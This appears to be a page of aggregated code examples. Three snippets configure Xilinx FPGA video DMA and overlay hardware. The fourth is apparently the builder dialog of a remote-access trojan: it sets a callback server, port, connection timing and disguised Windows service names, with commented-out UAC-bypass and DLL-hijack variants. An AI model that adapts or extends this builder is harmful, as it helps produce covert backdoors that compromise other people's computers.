Exemplo n.º 1
0
Arquivo: demo.c Projeto: pbomel/hdl
int demo_start_frame_buffer( demo_t *pdemo )
{

	if ( pdemo->bVerbose )
	{
		xil_printf("VDMA 0 Initialization\r\n");
	}
	XAxiVdma_Reset(pdemo->paxivdma0, XAXIVDMA_WRITE);
	XAxiVdma_Reset(pdemo->paxivdma0, XAXIVDMA_READ);
	WriteSetup(pdemo->paxivdma0, 0x10000000, 0, 1, 1, 0, 0, pdemo->hdmii_width, pdemo->hdmii_height, 2048, 2048);
	ReadSetup(pdemo->paxivdma0, 0x10000000, 0, 1, 1, 0, 0, pdemo->hdmio_width, pdemo->hdmio_height, 2048, 2048);
	StartTransfer(pdemo->paxivdma0);

	if ( pdemo->bVerbose )
	{
		xil_printf("VDMA 1 Initialization\r\n");
	}
	XAxiVdma_Reset(pdemo->paxivdma1, XAXIVDMA_WRITE);
	XAxiVdma_Reset(pdemo->paxivdma1, XAXIVDMA_READ);
	WriteSetup(pdemo->paxivdma1, 0x18000000, 0, 1, 1, 0, 0, 1280, 1024, 2048, 2048);
	ReadSetup(pdemo->paxivdma1, 0x18000000, 0, 1, 1, 0, 0, 1280, 1024, 2048, 2048);
	StartTransfer(pdemo->paxivdma1);

	if ( pdemo->bVerbose )
	{
		xil_printf("OSD Initialization (hdmi=0x%02X, cam=0x%02X)\r\n", pdemo->hdmi_alpha, pdemo->cam_alpha);
	}
	XOSD_Reset(pdemo->posd);
	XOSD_RegUpdateEnable(pdemo->posd);
	XOSD_Enable(pdemo->posd);

	XOSD_SetScreenSize(pdemo->posd, pdemo->hdmio_width, pdemo->hdmio_height);
	XOSD_SetBackgroundColor(pdemo->posd, 0x80, 0x80, 0x80);

	// Layer 0 - HDMI input
	XOSD_SetLayerPriority(pdemo->posd, 0, XOSD_LAYER_PRIORITY_0);
	XOSD_SetLayerAlpha(pdemo->posd, 0, 1, pdemo->hdmi_alpha);
	XOSD_SetLayerDimension(pdemo->posd, 0, 0, 0, pdemo->hdmio_width, pdemo->hdmio_height);

	// Layer 1 - PYTHON-1300 camera
	XOSD_SetLayerPriority(pdemo->posd, 1, XOSD_LAYER_PRIORITY_1);
	XOSD_SetLayerAlpha(pdemo->posd, 1, 1, pdemo->cam_alpha);
	XOSD_SetLayerDimension(pdemo->posd, 1, 0, 0, 1280, 1024);

	XOSD_EnableLayer(pdemo->posd, 0);
	XOSD_EnableLayer(pdemo->posd, 1);

	return 1;
}
Exemplo n.º 2
0
/**
*
* Main function
*
* This function is the main entry point of the example on DMA core. It sets up
* DMA engine to be ready to receive and send frames, and start the transfers.
* It waits for the transfer of the specified number of frame sets, and check
* for transfer errors.
*
* @return
*		- XST_SUCCESS if example finishes successfully
*		- XST_FAILURE if example fails.
*
* @note		None.
*
******************************************************************************/
int vdma_setup(XIntc controller)
{
	Intc = controller;

	int Status;
	XAxiVdma_Config *Config;
	XAxiVdma_FrameCounter FrameCfg;


	WriteDone = 0;
	ReadDone = 0;
	WriteError = 0;
	ReadError = 0;

	ReadFrameAddr = READ_ADDRESS_BASE;
	WriteFrameAddr = WRITE_ADDRESS_BASE;

	xil_printf("\r\n--- Entering vdma_setup() --- \r\n");

	/* The information of the XAxiVdma_Config comes from hardware build.
	 * The user IP should pass this information to the AXI DMA core.
	 */
	Config = XAxiVdma_LookupConfig(DMA_DEVICE_ID);
	if (!Config) {
		xil_printf(
		    "No video DMA found for ID %d\r\n", DMA_DEVICE_ID);

		return XST_FAILURE;
	}

	/* Initialize DMA engine */
	Status = XAxiVdma_CfgInitialize(&AxiVdma, Config, Config->BaseAddress);
	if (Status != XST_SUCCESS) {

		xil_printf(
		    "Configuration Initialization failed %d\r\n", Status);

		return XST_FAILURE;
	}

	Status = XAxiVdma_SetFrmStore(&AxiVdma, NUMBER_OF_READ_FRAMES,
							XAXIVDMA_READ);
	if (Status != XST_SUCCESS) {

		xil_printf(
		    "Setting Frame Store Number Failed in Read Channel"
		    					" %d\r\n", Status);

		return XST_FAILURE;
	}

	Status = XAxiVdma_SetFrmStore(&AxiVdma, NUMBER_OF_WRITE_FRAMES,
							XAXIVDMA_WRITE);
	if (Status != XST_SUCCESS) {

		xil_printf(
		    "Setting Frame Store Number Failed in Write Channel"
		    					" %d\r\n", Status);

		return XST_FAILURE;
	}

	/* Setup frame counter and delay counter for both channels
	 *
	 * This is to monitor the progress of the test only
	 *
	 * WARNING: In free-run mode, interrupts may overwhelm the system.
	 * In that case, it is better to disable interrupts.
	 */
	FrameCfg.ReadFrameCount = NUMBER_OF_READ_FRAMES;
	FrameCfg.WriteFrameCount = NUMBER_OF_WRITE_FRAMES;
	FrameCfg.ReadDelayTimerCount = DELAY_TIMER_COUNTER;
	FrameCfg.WriteDelayTimerCount = DELAY_TIMER_COUNTER;

	Status = XAxiVdma_SetFrameCounter(&AxiVdma, &FrameCfg);
	if (Status != XST_SUCCESS) {
		xil_printf(
		    	"Set frame counter failed %d\r\n", Status);

		if(Status == XST_VDMA_MISMATCH_ERROR)
			xil_printf("DMA Mismatch Error\r\n");

		return XST_FAILURE;
	}

	/*
	 * Setup your video IP that writes to the memory
	 */


	/* Setup the write channel
	 */
	Status = WriteSetup(&AxiVdma);
	if (Status != XST_SUCCESS) {
		xil_printf(
		    	"Write channel setup failed %d\r\n", Status);
		if(Status == XST_VDMA_MISMATCH_ERROR)
			xil_printf("DMA Mismatch Error\r\n");

		return XST_FAILURE;
	}


	/*
	 * Setup your video IP that reads from the memory
	 */

	/* Setup the read channel
	 */
	Status = ReadSetup(&AxiVdma);
	if (Status != XST_SUCCESS) {
		xil_printf(
		    	"Read channel setup failed %d\r\n", Status);
		if(Status == XST_VDMA_MISMATCH_ERROR)
			xil_printf("DMA Mismatch Error\r\n");

		return XST_FAILURE;
	}


	Status = SetupIntrSystem(&AxiVdma, READ_INTR_ID, WRITE_INTR_ID);
	if (Status != XST_SUCCESS) {

		xil_printf(
		    "Setup interrupt system failed %d\r\n", Status);

		return XST_FAILURE;
	}


	/* Register callback functions
	 */
//	XAxiVdma_SetCallBack(&AxiVdma, XAXIVDMA_HANDLER_GENERAL, ReadCallBack,
//	    (void *)&AxiVdma, XAXIVDMA_READ);
//
//	XAxiVdma_SetCallBack(&AxiVdma, XAXIVDMA_HANDLER_ERROR,
//	    ReadErrorCallBack, (void *)&AxiVdma, XAXIVDMA_READ);

	XAxiVdma_SetCallBack(&AxiVdma, XAXIVDMA_HANDLER_GENERAL,
	    WriteCallBack, (void *)&AxiVdma, XAXIVDMA_WRITE);

	XAxiVdma_SetCallBack(&AxiVdma, XAXIVDMA_HANDLER_ERROR,
	    WriteErrorCallBack, (void *)&AxiVdma, XAXIVDMA_WRITE);

	/* Enable your video IP interrupts if needed
	 */

	/* Start the DMA engine to transfer
	 */
	Status = StartTransfer(&AxiVdma);
	if (Status != XST_SUCCESS) {
		if(Status == XST_VDMA_MISMATCH_ERROR)
			xil_printf("DMA Mismatch Error\r\n");
		return XST_FAILURE;
	}


	/* Enable DMA read and write channel interrupts
	 *
	 * If interrupts overwhelms the system, please do not enable interrupt
	 */
//	XAxiVdma_IntrEnable(&AxiVdma, XAXIVDMA_IXR_FRMCNT_MASK, XAXIVDMA_WRITE);
//	XAxiVdma_IntrEnable(&AxiVdma, XAXIVDMA_IXR_FRMCNT_MASK, XAXIVDMA_READ);



	/* Every set of frame buffer finish causes a completion interrupt
	 */
//	while ((WriteDone < NUM_TEST_FRAME_SETS) && !ReadError &&
//	      (ReadDone < NUM_TEST_FRAME_SETS) && !WriteError) {
// 		/* NOP */
//	}


//	if (ReadError || WriteError) {
//		xil_printf("Test has transfer error %d/%d\r\n",
//		    ReadError, WriteError);
//
//		Status = XST_FAILURE;
//	}
//	else {
//		xil_printf("Test passed\r\n");
//	}

	xil_printf("\r\n--- Exiting vdma_setup() --- \r\n");

//	DisableIntrSystem(READ_INTR_ID, WRITE_INTR_ID);

	if (Status != XST_SUCCESS) {
		if(Status == XST_VDMA_MISMATCH_ERROR)
			xil_printf("DMA Mismatch Error\r\n");
		return XST_FAILURE;
	}

	return XST_SUCCESS;
}
Exemplo n.º 3
0
Arquivo: main.c Projeto: pbomel/hdl
void avnet_config_vgap60_video(demo_t *pInstance) {
	int status;

	Xil_Out32(XPAR_TCM_RECEIVER_0_S00_AXI_BASEADDR + 0x0000, 0x0001);
	XCfa_Reset(pInstance->pcfa);
	XCcm_Reset(pInstance->pccm);
	XRgb2YCrCb_Reset(pInstance->prgb2ycrcb);
	XCresample_Reset(pInstance->pcresample);
	XAxiVdma_Reset(pInstance->paxivdma, XAXIVDMA_WRITE);
	XAxiVdma_Reset(pInstance->paxivdma, XAXIVDMA_READ);
	XVtc_Reset(pInstance->pvtc);
	XOSD_Reset(pInstance->posd);

	/* CLKWIZ */
	Xil_Out32(XPAR_CLK_WIZ_1_BASEADDR + 0x0200, 0x00002203);
	Xil_Out32(XPAR_CLK_WIZ_1_BASEADDR + 0x0208, 0x0000002D);
	Xil_Out32(XPAR_CLK_WIZ_1_BASEADDR + 0x025C, 0x00000007);
	Xil_Out32(XPAR_CLK_WIZ_1_BASEADDR + 0x025C, 0x00000002);

	status = 0;
	while (!status) {
		status = Xil_In32(XPAR_CLK_WIZ_1_BASEADDR + 0x0004);
	}

	/* ISERDES Reset Assert */
	Xil_Out32(XPAR_TCM_RECEIVER_0_S00_AXI_BASEADDR + 0x0000, 0x0001);

	/* TCM Initialization */
	tca9548_i2c_mux_select(pInstance->piicps, EMBV_IIC_MUX_CAM);
//	tcm5117pl_get_chip_id(pInstance->piicps);
	tcm5117pl_init(pInstance->piicps, TCM5117PL_VGAP60);

	/* CFA */
	XCfa_Reset(pInstance->pcfa);
	XCfa_Enable(pInstance->pcfa);

	XCfa_SetBayerPhase(pInstance->pcfa, 0x00000001);
	XCfa_SetActiveSize(pInstance->pcfa, 656, 496);
	XCfa_RegUpdateEnable(pInstance->pcfa);

	/* CCM */
	XCcm_Reset(pInstance->pccm);
	XCcm_Enable(pInstance->pccm);

	XCcm_SetCoefMatrix(pInstance->pccm, &CCM_IDENTITY);
	XCcm_SetRgbOffset(pInstance->pccm, 0, 0, 0);
	XCcm_SetActiveSize(pInstance->pccm, 656, 496);
	XCcm_RegUpdateEnable(pInstance->pccm);

	/* RGB2YCRCB */
	XRgb2YCrCb_Reset(pInstance->prgb2ycrcb);
	XRgb2YCrCb_Enable(pInstance->prgb2ycrcb);

	XRgb2YCrCb_Configuration(pInstance->prgb2ycrcb, XRGB_STANDARD_ITU_601_SD, XRGB_TV_16_TO_240, XRGB_DATA_WIDTH_10);
	XRgb2YCrCb_SetActiveSize(pInstance->prgb2ycrcb, 656, 496);
	XRgb2YCrCb_RegUpdateEnable(pInstance->prgb2ycrcb);

	/* CRESAMPLE */
	XCresample_Reset(pInstance->pcresample);
	XCresample_Enable(pInstance->pcresample);

	XCresample_Configuration(pInstance->pcresample);
	XCresample_SetActiveSize(pInstance->pcresample, 656, 496);
	XCresample_RegUpdateEnable(pInstance->pcresample);

	/* AXIVDMA */
	XAxiVdma_Reset(pInstance->paxivdma, XAXIVDMA_WRITE);
	XAxiVdma_Reset(pInstance->paxivdma, XAXIVDMA_READ);
	ReadSetup(pInstance->paxivdma, 0x30000000, 2, 0, 1, 1, 0, 0, 656, 496, 2048,
			2048);
	WriteSetup(pInstance->paxivdma, 0x30000000, 2, 0, 1, 1, 0, 0, 656, 496, 2048,
			2048);
	StartTransfer(pInstance->paxivdma);

	/* VTC */
	XVtc_Timing Timing;

	XVtc_Reset(pInstance->pvtc);
	XVtc_RegUpdateEnable(pInstance->pvtc);
	XVtc_Enable(pInstance->pvtc);
	XVtc_ConvVideoMode2Timing(pInstance->pvtc, XVTC_VMODE_VGA, &Timing);
	Timing.HSyncPolarity = 1;
	Timing.VSyncPolarity = 1;
	XVtc_SetGeneratorTiming(pInstance->pvtc, &Timing);

	/* OSD */
	XOSD_Reset(pInstance->posd);
	XOSD_RegUpdateEnable(pInstance->posd);
	XOSD_Enable(pInstance->posd);

	XOSD_SetScreenSize(pInstance->posd, 656, 496);
	XOSD_SetBackgroundColor(pInstance->posd, 0x80, 0x80, 0x80);

	// Layer 0 - Test Pattern Generator
	XOSD_SetLayerPriority(pInstance->posd, 0, XOSD_LAYER_PRIORITY_0);
	XOSD_SetLayerAlpha(pInstance->posd, 0, 1, 0xFF);
	XOSD_SetLayerDimension(pInstance->posd, 0, 0, 0, 656, 496);
	XOSD_EnableLayer(pInstance->posd, 0);

	// ISERDES Reset De-Assert
	Xil_Out32(XPAR_TCM_RECEIVER_0_S00_AXI_BASEADDR + 0x0000, 0x0000);
}
Exemplo n.º 4
0
void CGeneratorDlg::OnBnClickedButtonBingo()
{
	CONNECT_INFO Config_Info = {0};
	SERVICE_INFO Service_Info = {0};
	GENERATOR_CONFIG generateConfig;

	UpdateWindow();

	//得到连接地址
	GetDlgItemTextA(m_hWnd,IDC_EDIT_CONADDR, Config_Info.szAddr,sizeof(Config_Info.szAddr));
	generateConfig.serverIP = CString(Config_Info.szAddr);

// 	//得到安装目录
// 	GetDlgItemTextW(IDC_EDIT_INSTALLPATH,Service_Info.szInstalPath,sizeof(Service_Info.szInstalPath)/sizeof(TCHAR));
// 	generateConfig.serviceInstallpath = Service_Info.szInstalPath;
	lstrcpy(Service_Info.szInstalPath,config.serviceInstallpath);

// 	//得到服务名
// 	GetDlgItemTextA(m_hWnd,IDC_EDIT_SERVICENAME, Service_Info.szServiceName,sizeof(Service_Info.szServiceName));
// 	generateConfig.serviceName = CString(Service_Info.szServiceName);
	lstrcpyA(Service_Info.szServiceName,CStringA(config.serviceName).GetBuffer());

// 	//得到服务DisplayName
// 	GetDlgItemTextA(m_hWnd,IDC_EDIT_DISPLAYNAME,Service_Info.szDisplayName,sizeof(Service_Info.szDisplayName));
// 	generateConfig.serviceDisplayName = CString(Service_Info.szDisplayName);
	lstrcpyA(Service_Info.szDisplayName,CStringA(config.serviceDisplayName).GetBuffer());

// 	//得到服务描述
// 	GetDlgItemTextA(m_hWnd,IDC_EDIT_SERVICEDEC,Service_Info.szServiceDecript,sizeof(Service_Info.szServiceDecript));
// 	generateConfig.serviceDescription = CString(Service_Info.szServiceDecript);
	lstrcpyA(Service_Info.szServiceDecript,CStringA(config.serviceDescription).GetBuffer());

// 	//得到代理地址
// 	GetDlgItemTextA(m_hWnd,IDC_EDIT_PROXYADDR,Config_Info.szProxyAddr,sizeof(Config_Info.szProxyAddr));

// 	//得到代理用户名
// 	GetDlgItemTextA(m_hWnd,IDC_EDIT_PROXYUSER,Config_Info.szProxyUsername,sizeof(Config_Info.szProxyUsername));

// 	//得到代理用户密码
// 	GetDlgItemTextA(m_hWnd,IDC_EDIT_PROXYPASS,Config_Info.szProxyPassword,sizeof(Config_Info.szProxyPassword));

	//得到组名
	GetDlgItemTextA(m_hWnd,IDC_EDIT_GROUP,Config_Info.szGroups,sizeof(Config_Info.szProxyPassword));


	//得到通信方式
	int nSel = m_DefaultComm.GetCurSel();
	Config_Info.nDefaultCommType = m_DefaultComm.GetItemData(nSel);
	generateConfig.commType = m_DefaultComm.GetCurSel();

	//得到尝试连接间隔
	Config_Info.nTryConnectIntervalM = GetDlgItemInt(IDC_EDIT_TRY_INTERVALM);
	generateConfig.connectTryIntervalM = Config_Info.nTryConnectIntervalM;

	//得到首次连接时间
	Config_Info.nFirstConnectHour = GetDlgItemInt(IDC_EDIT_FIRSTCONNECT_HOUR);
	generateConfig.firstConnectHour = Config_Info.nFirstConnectHour;
	Config_Info.nFirstConnectMinute = GetDlgItemInt(IDC_EDIT_FIRSTCONNECT_MINUTE);
	generateConfig.firstConnectMinute = Config_Info.nFirstConnectMinute;

// 	//得到下载SVT时间和间隔
// 	Config_Info.nFirstDownSvtOffsetS = GetDlgItemInt(IDC_EDIT_FIRST_SVT_OFFSET);
// 	generateConfig.downSvtOffsetS = Config_Info.nFirstDownSvtOffsetS;
// 	Config_Info.nDownSvtIntervalS = GetDlgItemInt(IDC_EDIT_SVT_INTERVAL);
// 	generateConfig.downSvtIntervalS = Config_Info.nDownSvtIntervalS;

	//得到连接类型和代理方式
	Config_Info.nConnectType = m_ConnectType.GetCurSel();
//	Config_Info.nProxyType = m_ProxyType.GetCurSel();
	
	//得到是否随机安装和生成方式
//	Service_Info.bUseChameleon = (m_SetupType.GetCurSel() == 0);
//	generateConfig.setupType = m_SetupType.GetCurSel();

	Config_Info.nProxyPort = GetDlgItemInt(IDC_EDIT_PROXYPORT);

	//得到端口
	Config_Info.nPort = GetDlgItemInt(IDC_EDIT_PORT);
	generateConfig.port = GetDlgItemInt(IDC_EDIT_PORT);

// 	BOOL bCarrier = ((CButton*)GetDlgItem(IDC_RADIO_CARRIER))->GetCheck();
// 	BOOL bSetup = ((CButton*)GetDlgItem(IDC_RADIO_SETUP))->GetCheck();
// 	BOOL bPassUAC = ((CButton*)GetDlgItem(IDC_RADIO_PASSUAC))->GetCheck();
// 	BOOL bHijack = ((CButton*)GetDlgItem(IDC_RADIO_HIJACK))->GetCheck();
	generateConfig.packetType = PACKET_TYPE_SETUP;
// 	if (bPassUAC) generateConfig.packetType = PACKET_TYPE_PASSUAC;
// 	if (bHijack) generateConfig.packetType = PACKET_TYPE_HIJACK;

	Config_Info.nFlag = CONNECT_FLAG;
	Service_Info.nFlag = SERVICE_FLAG;

	CString strError;
// 	if (bCarrier && WriteCarrier(Config_Info,Service_Info,strError))
// 	{
// 		MessageBox(_T("Carrier生成成功!"));
// 	}
// 	else if (bSetup && WriteSetup(Config_Info,Service_Info,strError))
// 	{
// 		MessageBox(_T("Setup生成成功!"));
// // 		CString exploreParameter;
// // 		exploreParameter.Format(_T("/e,/select,\"%ssetup.exe\""), GetModFilePath(NULL));
// // 		::ShellExecute(NULL, _T("open"), _T("explorer.exe"), exploreParameter, NULL, SW_SHOW);
// 	}
// 	else if (bPassUAC && WriteBypassUAC(Config_Info,Service_Info,strError))
// 	{
// 		MessageBox(L"BypassUAC生成成功!");
// // 		CString exploreParameter;
// // 		exploreParameter.Format(_T("/e,/select,\"%ssetup.exe\""), GetModFilePath(NULL));
// // 		::ShellExecute(NULL, _T("open"), _T("explorer.exe"), exploreParameter, NULL, SW_SHOW);
// 	}
// 	else if(bHijack && WriteHijack(Config_Info,Service_Info,strError))
// 	{
// 		MessageBox(_T("Hijack生成成功!"));
// // 		CString exploreParameter;
// // 		exploreParameter.Format(_T("/e,/select,\"%shijack\\RsTray.exe\""), GetModFilePath(NULL));
// // 		::ShellExecute(NULL, _T("open"), _T("explorer.exe"), exploreParameter, NULL, SW_SHOW);
// 	}
	if ( WriteSetup(Config_Info,Service_Info,strError))
	{
			MessageBox(_T("Setup生成成功!"));
			// 		CString exploreParameter;
			// 		exploreParameter.Format(_T("/e,/select,\"%ssetup.exe\""), GetModFilePath(NULL));
			// 		::ShellExecute(NULL, _T("open"), _T("explorer.exe"), exploreParameter, NULL, SW_SHOW);
	}
	else 
	{
		MessageBox(strError);
	}
	
	SaveGeneratorConfig(generateConfig);
}